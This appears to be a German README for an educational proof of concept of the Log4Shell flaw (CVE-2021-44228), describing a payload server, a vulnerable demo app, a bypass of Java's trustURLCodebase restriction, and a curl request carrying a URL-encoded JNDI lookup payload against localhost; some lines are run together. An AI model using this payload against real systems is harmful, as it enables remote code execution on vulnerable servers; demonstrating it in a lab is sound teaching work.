
Ein minimales Proof-of-Concept für die Log4j2 JNDI RCE-Schwachstelle (CVE-2021-44228/Log4Shell).
Ein minimaler Proof-of-Concept für die Log4j2-JNDI-Remote-Code-Execution-Schwachstelle (CVE-2021-44228). Er ist für Bildungszwecke gedacht, um Menschen, die keine Sicherheitsforscher sind, zu helfen zu verstehen, wie sie funktioniert und wie groß die Auswirkungen sind.
Der POC umgeht die Anforderung, die Eigenschaften com.sun.jndi.rmi.object.trustURLCodebase und com.sun.jndi.cosnaming.object.trustURLCodebase auf true zu setzen, die seit 8u121, 7u131, 6u141 standardmäßig deaktiviert sind.
Hinweis: JDK 1.8 wird benötigt, damit der payload-server kompiliert werden kann, aber die victim-app ist bis einschließlich JDK 15 anfällig, da die Nashorn-Engine in JDK 15 entfernt wurde.
payload-server, indem Sie Folgendes ausführen:$ ./gradlew runPayloadServer
victim-app:$ ./gradlew runVictimApp
curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D aus, um die RCE auszulösen.victim-app. Sie sollten eine unbeabsichtigte Protokollmeldung auf dem Bildschirm sehen.